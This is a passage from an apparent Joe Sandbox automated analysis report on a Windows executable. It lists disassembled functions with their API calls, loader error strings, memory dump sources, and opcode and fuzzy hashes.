                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,00007FF6850BE06A,?,?,?,00007FF6850BDD5C,?,?,00000001,00007FF6850BD979), ref: 00007FF6850BDE4B
                                                                                                                                                                                                                                      • LoadLibraryExW.KERNEL32(?,?,?,00007FF6850BE06A,?,?,?,00007FF6850BDD5C,?,?,00000001,00007FF6850BD979), ref: 00007FF6850BDE75
                                                                                                                                                                                                                                      • FreeLibrary.KERNEL32(?,?,?,00007FF6850BE06A,?,?,?,00007FF6850BDD5C,?,?,00000001,00007FF6850BD979), ref: 00007FF6850BDEBB
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(?,?,?,00007FF6850BE06A,?,?,?,00007FF6850BDD5C,?,?,00000001,00007FF6850BD979), ref: 00007FF6850BDEC7
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Library$Load$AddressErrorFreeLastProc
                                                                                                                                                                                                                                      • String ID: api-ms-
                                                                                                                                                                                                                                      • API String ID: 2559590344-2084034818
                                                                                                                                                                                                                                      • Opcode ID: fa40dd5a34ae4d0b6736a9b6b46f8404287a490a05e4db78c585315ae40f634e
                                                                                                                                                                                                                                      • Instruction ID: 51c3a32361421db3110842b4fcf50987ac0dddf6b96ad809ba8673d8bdf45cc9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fa40dd5a34ae4d0b6736a9b6b46f8404287a490a05e4db78c585315ae40f634e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 18319222A1A64AD5EE51BF02A84067963D4BF58FB0F59063DDD2D9A380EF3DE844C705
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B7420 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B8AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6850B2ABB), ref: 00007FF6850B8B1A
                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF6850B79A1,00000000,?,00000000,00000000,?,00007FF6850B154F), ref: 00007FF6850B747F
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B2B30: MessageBoxW.USER32 ref: 00007FF6850B2C05
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6850B7456
                                                                                                                                                                                                                                      • LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6850B74DA
                                                                                                                                                                                                                                      • LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6850B7493
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
                                                                                                                                                                                                                                      • String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
                                                                                                                                                                                                                                      • API String ID: 1662231829-3498232454
                                                                                                                                                                                                                                      • Opcode ID: 1d2d4af577e045dbc33e2ebeb30eaa17cd958ec32487233d1e031d2a4712b08d
                                                                                                                                                                                                                                      • Instruction ID: 8ff6f9d300b71e99179f398b35d51b66c67e85741530814020994644dc9e4630
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1d2d4af577e045dbc33e2ebeb30eaa17cd958ec32487233d1e031d2a4712b08d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3B318251B19686C1FE24F721A9953BA5291BF98FA0F84443DDA4EC2797EE2CED08C601
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B8AE0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6850B2ABB), ref: 00007FF6850B8B1A
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B29E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6850B87F2,?,?,?,?,?,?,?,?,?,?,?,00007FF6850B101D), ref: 00007FF6850B2A14
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B29E0: MessageBoxW.USER32 ref: 00007FF6850B2AF0
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6850B2ABB), ref: 00007FF6850B8BA0
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ByteCharMultiWide$ErrorLastMessage
                                                                                                                                                                                                                                      • String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
                                                                                                                                                                                                                                      • API String ID: 3723044601-876015163
                                                                                                                                                                                                                                      • Opcode ID: a541b9d7990873fa03eea91fa1c4eed32b472e1874b52a165eeb314caebc5777
                                                                                                                                                                                                                                      • Instruction ID: 5b0945cb9a976d0ee97229decc7fb5d698c2fad04248610281885fc6186c6c3c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a541b9d7990873fa03eea91fa1c4eed32b472e1874b52a165eeb314caebc5777
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4E217466B08A46C1EF50DB29F841069A361FF84BE4F984279DB4CD3B69EF2CD941C700
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CB710 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Value$ErrorLast
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2506987500-0
                                                                                                                                                                                                                                      • Opcode ID: 5e25a57dc3899cb5d9e1114fbc8c557aa55031a2469902f6cab5e8a78f8e35b9
                                                                                                                                                                                                                                      • Instruction ID: 6de2ea405872efe774e16cfc4d55435810bc3148eff9eb1e9798a63b91e9be33
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5e25a57dc3899cb5d9e1114fbc8c557aa55031a2469902f6cab5e8a78f8e35b9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5C213924A0C647C2FA646721565513962427F46FB0F54473CEE3EC6BC6DF2CAD41C621
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D85BC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                                                                                                                                      • String ID: CONOUT$
                                                                                                                                                                                                                                      • API String ID: 3230265001-3130406586
                                                                                                                                                                                                                                      • Opcode ID: 47774de373198f8681994077b4026dd9a590ed4534763da2009e0dd4878e84a9
                                                                                                                                                                                                                                      • Instruction ID: d58239474214bfdd14c8894b697226e8e5c81ce35967d516efa29469c7f0b3a2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 47774de373198f8681994077b4026dd9a590ed4534763da2009e0dd4878e84a9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5C114921B18A42CAE7508B52A85472966A0FF88FF4F544338EA5EC77A8DF7CD844CB40
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CB888 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,00007FF6850C54CD,?,?,?,?,00007FF6850CF1BF,?,?,00000000,00007FF6850CB9A6,?,?,?), ref: 00007FF6850CB897
                                                                                                                                                                                                                                      • FlsSetValue.KERNEL32(?,?,?,00007FF6850C54CD,?,?,?,?,00007FF6850CF1BF,?,?,00000000,00007FF6850CB9A6,?,?,?), ref: 00007FF6850CB8CD
                                                                                                                                                                                                                                      • FlsSetValue.KERNEL32(?,?,?,00007FF6850C54CD,?,?,?,?,00007FF6850CF1BF,?,?,00000000,00007FF6850CB9A6,?,?,?), ref: 00007FF6850CB8FA
                                                                                                                                                                                                                                      • FlsSetValue.KERNEL32(?,?,?,00007FF6850C54CD,?,?,?,?,00007FF6850CF1BF,?,?,00000000,00007FF6850CB9A6,?,?,?), ref: 00007FF6850CB90B
                                                                                                                                                                                                                                      • FlsSetValue.KERNEL32(?,?,?,00007FF6850C54CD,?,?,?,?,00007FF6850CF1BF,?,?,00000000,00007FF6850CB9A6,?,?,?), ref: 00007FF6850CB91C
                                                                                                                                                                                                                                      • SetLastError.KERNEL32(?,?,?,00007FF6850C54CD,?,?,?,?,00007FF6850CF1BF,?,?,00000000,00007FF6850CB9A6,?,?,?), ref: 00007FF6850CB937
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Value$ErrorLast
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2506987500-0
                                                                                                                                                                                                                                      • Opcode ID: 941158fb4e6d3a9375e13d6d10033e8ffcdbbced4d4dd5e625aa307a16b34608
                                                                                                                                                                                                                                      • Instruction ID: 5c91574d85de81c9bde898139ff1826c1839e1685e93041c388ad6cb37ee0090
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 941158fb4e6d3a9375e13d6d10033e8ffcdbbced4d4dd5e625aa307a16b34608
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 83112120A0C647C2F654A73155951396291BF46FB0F54473CD93ECA7D6DF2CAD42C721
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BD778 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                                                                                                                                                                                      • String ID: csm$f
                                                                                                                                                                                                                                      • API String ID: 2395640692-629598281
                                                                                                                                                                                                                                      • Opcode ID: c8f7f253a213423ff5db8842e39d1181b4fa0cc0edf0f0e27fe70a45a9ca17df
                                                                                                                                                                                                                                      • Instruction ID: 6bb02ce6b52d97f964680f7882c1e21a767f5d77d7ace54d677d31dbd4080b59
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c8f7f253a213423ff5db8842e39d1181b4fa0cc0edf0f0e27fe70a45a9ca17df
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A1519F33E19606CAEB14EB15E484B29B7A5FF80FA8F508178DA5A87748DF38ED41C701
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B2600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
                                                                                                                                                                                                                                      • String ID: Unhandled exception in script
                                                                                                                                                                                                                                      • API String ID: 3081866767-2699770090
                                                                                                                                                                                                                                      • Opcode ID: aedd94d896d3770322b3bc916a57fa4c811986127e2200c50fe109d0e77cca38
                                                                                                                                                                                                                                      • Instruction ID: b5fcd9c3a30d79e24377d38ca9087c7a465e936eb641f9834e608448c0076b1e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: aedd94d896d3770322b3bc916a57fa4c811986127e2200c50fe109d0e77cca38
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 53315236A19682C5EB20EB61E8952F97360FF89BA4F400139EA4DCBB55DF3CD905C701
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B29E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6850B87F2,?,?,?,?,?,?,?,?,?,?,?,00007FF6850B101D), ref: 00007FF6850B2A14
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B8560: GetLastError.KERNEL32(00000000,00007FF6850B2A5E,?,?,?,?,?,?,?,?,?,?,?,00007FF6850B101D), ref: 00007FF6850B8587
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B8560: FormatMessageW.KERNEL32 ref: 00007FF6850B85B6
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B8AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6850B2ABB), ref: 00007FF6850B8B1A
                                                                                                                                                                                                                                      • MessageBoxW.USER32 ref: 00007FF6850B2AF0
                                                                                                                                                                                                                                      • MessageBoxA.USER32 ref: 00007FF6850B2B0C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message$ErrorLast$ByteCharFormatMultiWide
                                                                                                                                                                                                                                      • String ID: %s%s: %s$Fatal error detected
                                                                                                                                                                                                                                      • API String ID: 2806210788-2410924014
                                                                                                                                                                                                                                      • Opcode ID: c01ac0bbfceecfac493be67ae1d6a2211250b6a817a0c50f994bc812b65e1c92
                                                                                                                                                                                                                                      • Instruction ID: ef1dc084916651b0a197055d87be9f3d982664068e5ef4e484cf0e0bca62c193
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c01ac0bbfceecfac493be67ae1d6a2211250b6a817a0c50f994bc812b65e1c92
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 99317672628686C2E630EB10E4916DA7364FF84FD4F80513AEA8D93A59DF3CDB05CB40
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CA018 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                                                                                      • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                                                                                      • API String ID: 4061214504-1276376045
                                                                                                                                                                                                                                      • Opcode ID: bbe3d75c1d18d9b252fc65a249d413b32bc9fbcf71b4c61f8ce4d80949566840
                                                                                                                                                                                                                                      • Instruction ID: 4df60eaa4414e47f333c5c1761ccae27dd5a44d30944c7b82fade24ae0205f27
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bbe3d75c1d18d9b252fc65a249d413b32bc9fbcf71b4c61f8ce4d80949566840
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 97F04F65A09706C1EA108B24E4443795360BF49FB1F64033DC96EC62E4CF2CEC84C750
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D9C40 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _set_statfp
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1156100317-0
                                                                                                                                                                                                                                      • Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
                                                                                                                                                                                                                                      • Instruction ID: 24070743dc32bbb5f0972cccc53ddef9ca9d9b25f6aeac221ecaf782744088f0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C1115E72E1CA0BC5F66411A8E94637914837F99B70E082B3CF96E967DACF2DAC40C204
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CB950 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FlsGetValue.KERNEL32(?,?,?,00007FF6850CAB67,?,?,00000000,00007FF6850CAE02,?,?,?,?,?,00007FF6850C30CC), ref: 00007FF6850CB96F
                                                                                                                                                                                                                                      • FlsSetValue.KERNEL32(?,?,?,00007FF6850CAB67,?,?,00000000,00007FF6850CAE02,?,?,?,?,?,00007FF6850C30CC), ref: 00007FF6850CB98E
